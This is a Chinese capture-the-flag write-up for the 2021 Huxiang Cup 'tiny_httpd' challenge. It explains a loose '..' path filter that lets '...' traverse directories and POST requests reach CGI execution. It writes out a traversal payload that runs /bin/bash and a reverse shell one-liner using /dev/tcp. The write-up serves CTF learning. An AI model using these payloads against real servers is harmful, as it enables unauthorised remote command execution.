2021 湖湘杯 tiny_httpd

这个题目给出了源码,就不逆向了
程序实现了一个小型的web服务器,漏洞点如下:
2021 湖湘杯 tiny_httpd_第1张图片
在进行路径过滤的时候不是很严格,将··替换成·,但是如果输入···,则仍然有··的效果,所以可以做一个路径穿越

然后关注一下cgi这个变量:
2021 湖湘杯 tiny_httpd_第2张图片

当cgi为0的时候是访问文件,为1的时候则是命令执行
2021 湖湘杯 tiny_httpd_第3张图片
只有传参传的是GET或者POST时,cgi才会为1,首先想的是能不能利用路径穿越直接读取根目录下的flag
于是跟进serve_file函数
2021 湖湘杯 tiny_httpd_第4张图片但是发现文件名filename是写死进去的,所以这个思路走不通,另一条路是利用路径穿越执行/bin/bash

于是跟进execute_cgi函数:

2021 湖湘杯 tiny_httpd_第5张图片
如果使用GET需要知道远程服务器所需参数,但是我们并不知道,所以选择POST,这里注意,从源码中可以看到就,在用POST传参的时候需要Content-Length

所以做法就是nc远端之后发送

payload='POST /.../.../.../.../.../.../.../.../.../bin/bash\r\nContent-length: 100\r\n'

然后找个监听端口,再给自己的服务器反弹个shell:

nc ip port

给题目发送下面的命令反弹shell

bash -i >& /dev/tcp/ip/port 0>&1

你可能感兴趣的:(PWN,pwn,网络安全,linux)